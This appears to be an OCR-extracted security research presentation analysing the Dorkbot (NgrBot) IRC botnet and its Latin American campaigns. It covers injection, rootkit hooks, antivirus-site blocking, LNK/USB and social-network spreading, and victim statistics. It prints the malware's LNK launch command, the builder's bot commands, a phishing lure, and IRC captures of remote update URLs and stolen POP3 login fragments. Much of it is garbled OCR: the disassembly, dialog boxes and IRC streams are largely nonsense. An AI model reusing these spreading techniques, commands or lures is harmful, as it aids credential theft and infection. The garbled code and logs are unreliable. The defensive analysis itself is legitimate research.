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Dorkbot (Ngrbot)

» IRC Controlled bot

« Used for information stealing.
» Used to attack home users.

- DDo0S capabillities.

* Ring 3 rootkit techniques

» Effective spreading techniques
(USB spreading and Social
Networks).




Signature

Date

Propagation
techniques

Description

Win32/Dorkbot.A

April 4t 2011

Autorun.inf, LNK Spread

First Dorkbot variant, not
so widely spreaded

Win32/Dorkbot.B

May 16th, 2011

Includes Social Network
spreading (Facebook,
Twitter, etc)

Most used malware
variant. Includes
different versions and
capabilities.

Win32/Dorkbot.C

June 6", 2071

Implements MSo4-011
exploit for spreading

Win32/Dorkbot.D

July 18, 2011

LNK spread

Really effective
technique, uses
shortcuts to execute the
malware deceiving the
user




x| wll] w4y Y| 4 LIE/M|T/W/H|[C|/|K|B|]

[ B4 200 $ 62 F4144888 |FPUSH PostalSo.B884814F4
EEE E2 FBFFFFFF |CALL <JHP.&MSUBLHEE. #1686
AE4E1350) . BEEE ROD BYTE PTR DO5:[ERXI.AL
pad4al3sc| . 48 IMC ERA
AE4A1350( . AEEa ROD BYTE PTR DS:[ERXI.AL
AE4R135F) . aaza ROD BYTE PTR DS:[ERXI.OH
AE4A1391 . AEEA ROD BYTE PTR DS:[ERXI.AL
AE4E1393) . AA33 ROD BYTE PTR DOS:[ERXI.EH
AE4E1395 . AEEE AOD BYTE PTR DOS:[ERXI.AL
AE4E1397 . AE6EE AOD BYTE PTR DOS:[ERXI.AL
AEdE1399) . AREE AOD BYTE PTR DOS:[ERXI.AL
AE4E1398( . @A3F RODC BYTE PTR O5:[CEDIDT.BH
AE4A1390f . 84l 33 Moy BYTE PTR DO5:[ECK+331,AL
B84013A6 Fa OB FA
aa4p13 M= — CHOoB *fr*
ggqalgw F% OG5 PUSH EEF
IR aa41@911 . SEEC HOL EEF, ESF
41@21=|| . S1EC 1eBzEBEG| SUE ESF, 218
Ba4E13 aa41a919 . B& PIUSH ESI
AR4E] 3 @a41@31A(] . 57 PUUSH EDI
BE4a1 3 2 99419915 . 65 E3@16E88 | PUSH 1683 Fno= 183 [259.]
41@2z6|| . 8085 FIFOFFFF|LEA EAX,DWORD FTR S5:[EBF-26F1]
BAdE1 913419925 GA B3 PUSH B - o= @e
BR4G1 3 ea41e922(] . ca PUSH EBH =
HA4f] S B8416323|| . CES5 FBFDFFFF| MOU BYTE PTR S5:[EEP-2181,8
GE41E226(] . ES eF@SEEoE | CALL %JHP.&MSUCRT.memset s L emzet
B84813 faq1853c|] - 2304 aC ADD ESF, GC
AE4E] 2 ea416222(| . EZ 929CFFFF | CALL binaric.@@4ERsS0E
BE4E] D Sgﬂsgig . Eglgaamaaa Eﬂléh ?ggﬂn PTR DS:[<&KERMELZ2.GetProces EEEEPIIEEE?EE??
HE4812 Gaq1a342|| - 208D FEFEFFFF|LEA ECH,DWORD FTR S5:[EEP-18E1 b ’
AE4A1 2 ped1e94E(] . SA BE FLUSH & - o= @8
BR4E]Z B841e9e6(] . E1 PUSH ECH =
opsotaatice | G2 g, 1By Gk FIR e anrecy
LAdr s eadie2c0|] . ER 4o0ce088 | CALL {JHP.EHSUCRT. memset s Lmemset
BE4E]4) 00418262 (] . 2304 AC AOD ESF, EC
Aa416265(| . 3308 ¥OR ERH, EAX
416967 (| . 6% E4@1BEEE | PUSH 164 FEufSize = 184 (268,
@E41626C (| . 2095 F4FEFFFF|LEA EDX,DWORD PTR S5:[EEP-18C1
Ba416972 g2 PUSH EDH FathBuffer
aa416973(] . 5@ FUSH EGH hHModu Le = MULL
GE41E974(] . CE4S FS @@ MOU EYTE PTR 55: [EEF-21,
Ga416978 || . 8945 F2 MOU OWORD PTR 55:LEBP-71, Enx
EEF=GE1ZFFF@

Process infection

* |t uses ZWResumeThread to
Inject himself into different
processes.

e |t will not Infect Isass.exe.

« Stores a copy of himself in
%appdata%




s & Hidi Nng techn iC| Les

E@BAGEED| ES SEFEFFFF CALL HB@AsS3E
BEBACECE| 56 PUSH ESI
BEAAGECE| 53 PUSH EB

] S80I DD TR 55 68PHLCY, ER It hooks to ZwQueryDirectoryFile

BEAAGECT| ES8 FEFEFFFF CALL AHAEAESCA

EESEEEEE Eg BSE16EGE EHEH EE?IEE UNICODE "Egfyfc™ a n d ZWEn u m era teva ’ ueKey-

FHAAGEOY| 6618945 F2 MoL WORD PTR S5: CEBP-21,AX

[SfsleltnEE] S CORFEEEE CALL AREEEEAA JMP ta mevert . wosstr
E@BAGE00( S3C4 18 AOD ESF, 12
BEBACEER| B5CA TEST ER:,ERS

BBBRESE:|BFE4 Sop10a0a |JE BOBAGESE

It tries to stay under the radarin
an infected system. Why?

Mombre Tipo Datos
{F‘redeterminadnj REG 57 (valor no establecido)
CTFMOMN,EXE REG_S7 CWINDOMWS) svskem32) ckfman, exe

EI;||:':.-'|:I: REiG_5Z i Documents and SettingstAdministradoriDatos de programal Eghyfrc,exe




AV blocking

zophos. . malwareh
ytes. ... sUnbelts
mh ol vl P = o= S noxrt
0N« « NOCMan . « mcaft
EE. « SHMANTEEC. o o s

Soiras s aug. -] Using hooks to DnsQuery_A and
bitdefender

E2et. ... kazperch DnsQuery_W it will prevent the

W.ootbrendmicro. .

iseclab.,,..virs infected computer to connect to
deppubusihlet. . many antivirus web sites.
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B Propiedades: Carpeta 1 x|

Disefio | Colores I Compatibilidad | Detalles I
| = MEM izeneral #Acceso directo | Opciones I Fuenke

@ El Carpeta 1

Qrganizar . i : .
Tipo de destino:  Aplicacian
o Faval Ibicacian de temaz
g 0e desking: FYStEm
Esc .
- Desking:
G St
Eibial -
e Iniciar en: I
=| Do
= Imé = N
) I Tecla Fle meékodo Ir'-.llngunl:l
o M abreviado:
a Yidh . —
Ejecutar: IMmlmlzada j
/M Equip .
B Comenkario: I
g Dis =
o MEI
Abrir ubicacion | Cambiar icono, . j| Opriones avanzadas. .. |
i Red

Uses target property to execute the

malware

y Aceptar I ancelar | Aplicar |

—loi x|
n R
=10l x| &)
MEMORIA LISE (E:) ) (7]
4= - IZE:-
| Tamario |
a de archivas
a de archivos
a de archivos
a de archivos
a de archivos
enko de texto 0KE
ento de texto 0kE
ento de texko 0KB
ento de texto 0kE
directo 2KB
directo Z KB
directo ZKB
directo 2 KB

LNK spreading

Zwindir%\system32\cmd.exe /c
‘start
%Cd%RECYCLER\<nombre_malw
are>.exe
&&%windir%\explorer.exe
%cd%Folder 1




Dorkbot in Latin America



Win32/Dorkbot trend in world
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Detection by region

- Latin America

& Caribbean
Asia

Europe
Africa

North America

Oceania
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Dorkbot

e Latin Americais the most
affected region.

13 of the 25 most affected
countries.

 Mexico and Peru detection
rates are over Russia and US

« Most active threat during
2011 and still remains active
N 2012.




-

Dorkbot detections in Latin America

7.24%

3 II

0.88%

- i
0

10.14% g.88% 10%

Critical spreading

« H2/2011 highest detection
rates.

* Lots of small botnets
were detected and were
being used for home
banking attacks and
information stealing.




Hunting zombies In Latin
America

Botnet tracking



De: . %% COM [mailto:noreply@sonico.com]
Enviado el: lunes, 06 de febrero de 2012 1:35

®
“.\rl Pas

Recibiste una Postal Terra

IFELICIDADES ERES UNO DE NUESTROS GANADORES DE UN IPHONE 4!

- Noticias te mforma:

. . gprecia tanto v quiere demostrartelo con esta Postal, Diescarga tu Postal
iFelicidades Te Has Ganado Un Iphone 4! Estas de suerte, al

alguien te ha inscrite en Nuestro concurso Sorteos de entre

clientes VIP de v deas.cl erra-NA 012-360-084
Toca tus canciones, peliculas y demas La revolucionaria s mejores deseos que te han enviado. haz click en el siguiente
tecnologia tactil integrada en la soberbia pantalla de 3,5 nara-

pulgadas te permite pellizcar, ampliar, desplazar y hojear
con los dedos.

com/PostalesTerra-NAQ12-360-084

Internet en el bolsillo Con el navegador web Safari, puedes
ver los sitios web como fueron disefiados, asi como ampliar
y reducirlos con un togque.2 Para ver la lista de los
ganadores y canjear su premio debe descargar el siguiente
formulario y llenarlo correctamente asi enviarnos al
siguiente correo premio ;.Cl

‘oblema con el enlace, también puedes recuperarla desde aqui:

www.terra.com/PostalesTerra

N MENSAJE MULTIMEDIA (MMS

e han enviado un mensaje multimedia a través de nuestra portal
ovistar.cl, el mensaje multimedia (MMS) sera borrado a los 10
as.

| Descargar Formulario

F

VER MENSAJE MULTIMEDIA

Formulario-IPH

CMES Fecuards que tisne solamente 24 hs para reclamar su premio, ¥a
que DOE Vamos sarados pod loe milss da comreos que reicibmos
diarizmanta,

@

Este servicic es de Movistar.

Todos los Derechos Reservadc



I3 Follow TCP Stream

Stream Conktent

=101 x]

PASS ROCKER

MICK {AR|=Patkbduwi]
USER kbduwil 0 0 :kbduwil

1001 drc.perrorlzz.org

Q02 002 Q02

003 003 003

Q004 004 Q04

005 005 005

Q05 005 005

Q05 005 Q05

PING 422 MOTD

JOIM #ROCK ngreot

fap|xPatkbduwi ! kbduwiT@host240.190-1 net.ar JOIN #ROCK
includes s/ did.txt | ,j #rockspread | ,s

irc.perrorlzz.org 3353 %ARIXP&} bduwil #rROCK rockstar 1336056693

JO0IN #rockspread
JOIN #4R

= LA A mA A e, e

irc.perrorizz.org 332 {AR|xPatkbduwil #ROCK :,mdns http:/ www.adrieselS0s, 1t/ fwp-

IEntire conversation (142162 bykes)

Find | Save fs | Print |F S5CIT " EBCDIC " Hex Durmp

Help |

Filter Cut This Stream

(" C Arrays

(® Raw

Close

Botnet tracking

 Tracking cybercriminal
campaigns, for more than 6
months.

* Viewing botnet activities
and stats.

 Social Engineering
techniques.

 Information stealing




Information

analysis
* IRClogging
« Affected Countries and OS

» Users privileges and IP
addresses.

» Propagation techniques.




Bots reported by country

References

B chile Bl vruguay

- Peru Ecuador
Argentina - United States

- Spain - Colombia

- Mexico - Dominican Republic

- Venezuela - Others




Affected OS

0% O

of

References

Windows Server 2003
Windows Server 2008
Windows Vista

Windows 7

Windows XP

es[=l




Operating System | Admin users | Non-admin users Total
Windows Server 2003 147 (86%) 22 (%14%) 169
Windows Server 2008 27 (28%) 67 (%72) 94
Windows Vista 869 (17,6%) 4051 (82,4%) 4920
Windows 7 6335 (18,1%) 28673 (81,9%) 35008
Windows XP 37509 (90,6%) 3863 (9,4%) 41372
Total 44887 (55,03%) 36676 (44,97%) 81563




L {Mgrbot ¥1.2.0.1 Builder

[ Eerver Seftings! | IRCD

Server 1: |test.n:urg

- D._I xl_l

[ | Norbot ¥1.2.0.1 Builder

| IRCD Settings | Command Settings | |

Fazz: |zecret

Server & |ngruser.hi2

Fazz: |secret

Server 3 |fa$t.me

Fazz: |secret

NegrBot Bi

T [ [T

‘Crimepack

L “{Mgrbot ¥1.2.0.1 Builder

Cryptavirology Labs

OpenSC Faorum
Cryptosiralogy Farurnm

NgrBot Builder

_

= |:|:. X
[ IRCD Settings | ‘Command Settings: | Build | <
Prefis: I
Download: |4 RM5SM Meszage  |manzet
Update:  |up FSM Interval: meh.int
Criedkll: die HTTP Meszage: |http.zet
nirztall: Im HTTP Intereal:  [kttpint
Muite: m Module ondoff:  [maod
Wizt W DS Blacklizt: mdnz
Version; " Stats: shats
Reconneck: | Speed: speed
Juair: i Logins: laqins
Fart; o Reverse Sockz1: |21
Sort; Rewverse Socks2: [1z0
Ineort: Lz Slowlariz: zlow
HTTP Inject: |kttp.ini S5M: 23Uh
(HID = udp Stop Flood: stap




7 Follow TCP Stream

Stream Content

PAS

PNIC

USE

: 0C

00z

00=

004

00¢

00~

002

PING 422 MOTD
JQIN #ROCK narfnt

3 asta foro de hugo chavez
iaqon‘lza o es rea'lmente impactante http://

1 bhbaavv@hnst 240 .20 NN &ROCK
3 g 332 { ‘atbhbaavy #ROCK :,up htep://A Swp-
content /plug’ $ 3 AA7AESREINGRArFRAGARLATANINFNETR | s |
roc tsprpad | mqm http /0w, @ ; 25 /domos. txt
virc.anenar 1avv #ROCK rockstar 1325665163
JOIN #rockspread
t{AR|xPa}tbhbaavv!t kspread
g Susdy 332 1A L Wisaavy #roc i;or‘Psd i,msn.int 5 | ,http.int §

psta foto de hugo chavez agon‘lza - « ente impactante http://

ebonton. 1t/IMGD03 59268, IPG XD

1 Social Engineering

Using social networks

« msn.set sets MSN spreading
message

* http.set sets spreading trough
Facebook, Twitter.

m

1ire, wrmmg 333 ockstar 1325598757
PRIVMSG ockspread :[MSN]: Updated MSN spre: s
PRIVMSG #Rockspread ::H!TF‘]‘ -;ud: ed HTTP -prndd 1l|[ "\
P S I o i) PO Y=r " ~hav
N Hol3 ) = M
esta foto de uf ‘ es realmente esta foto de hugo cha
impactante - rEaImente impactar
1t 05 JPG XD http ' "
_xMU_ll_ 3.JPG XD |
; ) i Propagacion del ataque en el
w o Share » 3 Video call » h | N Games »
; chat de Facebook
Propagacion del atague en

Windows Live Messenger




JRI=TEY
Stream Conkent
whogoex {AR|=Patadutmea -
rrockstar!rockstar@ELPERRC MODE #ROCK +wwnwy {AR|xPatapyhpsp {aAR|xPathkgpmfc {Pa|w7ul
nmit'gp {PE|xPa}losdfpo
irockstar!rockstar@ELPERRC MODE #ROCK +v {CL|xParutnopht
ruckstar'rnckstar@ELPERRo QUIT Cunnect1on reset by fatalz
1 U'\_l\_'l ot :I U\_r\_'il_Cl.I @'I CI.LCI.IZ_ CLrILrI e Tl'r\'\.p'\_l T U\_I\JLCI.I
rockstar!rockstar@ELFERRO PRIVMSG #ROCK :,logins POP3
3 Loz : —Net PRIVMSG #FROCK :[Login]:
POP3 —-» pop3:/ 1]imene a7z, 4? 236, 163 110 fp="cC: \Arch1uus e
prugramaQMuzi11a Thunderpirgxthunderboird. exe'
I{PElxPatwec]lctalwec]lcta@20l. 240.74.141 PRIVMSE #ROCK :[Login]f POP3 -» pop3:f/
im, EE200.31.110.163:110 (p="C:NArchivos de programdTOOC TO0R EXPTess
msimn. exe'
{aR | xPateihecsog! eihcsoo@ld0-138-235-201. F1berte1 com. ar PRIVMSGE #ROCK [[Login]: POP3 |
> pop3:/ralteri (p="C:vaAarchivos de programa’\microsore ot iee
OFFICELIMNOUTLOOK . EXE” | —
{CL|xPatomgrolm! omgrolim@len. 13,155,162 PRIVMSE #ROCK {[Login]: POP3 1> pop3://~7
Informaticaghuenoce 216.155.72.145:110 (fre—cttebmctrdeas—tle Qrograma
Microsoft officehofficel2 oUTLOOK. EXE' ]
t{AR|xPatgodvzpm! godvzpmE8lE6. 22,168, 202 PRIVMSE #ROCK [ [Login]: POP3 > pop3://
entas@decos i 19.126.134.138:110 (p=—=rorreirbees programa
out Took ExEress\msﬁmn.exe'j
t{PEIWFutwkhnfozlwkhnfpz@1590,187.131. 94 PRIVMSSE #ROCK l[LDg1n] POP3 > pop3://
ner, (68.1.3:110 (p="C:“Program Filesimorosor—orH e officelz
OUTLOOK., EXE'
oL Ixpa tkuvbived kb c1@200.117 135,147 PRIVMSG #ROCK :[LDL]'I n]: POP3 4> pop3:sS
mic 2.8:110 (p="cCvarchivos—se—sreapamapi crosoft office
ofFticel2 W oUTLOOK . EXE ' )
{PE|xPathhstopx! hhsTopxE190.41.113.170 PRIVMSG #ROCK [Lng1n] POP3 | pops: s
Fesery 08,584, 244,131 :110 (p=TOTRATCTITOS te programa
Micrnsntt otticerwotticel 250lT ook . FxE' .IJ
IEntire conversation {53736 bytes) LI
Eind | Save fis Erint " ASCII (" EBCDIC (" Hex Dump (" Arrays {* Faw

Help |

Filter Qut This Stream

Close

Information
stealing

e Botmaster executes
command to steal email
accounts.

e Facebook, Twitter, Gmalil
and Hotmalil credentials
are being sent by default.




BOtnet infO * 44% of the victims are

from Chile, 15% from Peru
« Steal account information and 11% from Argentina.
from users in Chile and

Peru, 81,563 bots detected. * More than 2,500 emails

account leaked and
« Specific users were targeted companies compromised.
but the botnet spread to
more countries.







What are we dealing
with?



From Autorun to LNK

Dorkbot detections

——
INFAutorun detections

.+
Win32/Autorun detections










Contact info:

http://blogs.eset-la.com/laboratorio/
http://www.eset-la.com/centro-amenazas

Pablo Ramos
@ramospablo
pablo.ramos@eset.com

et



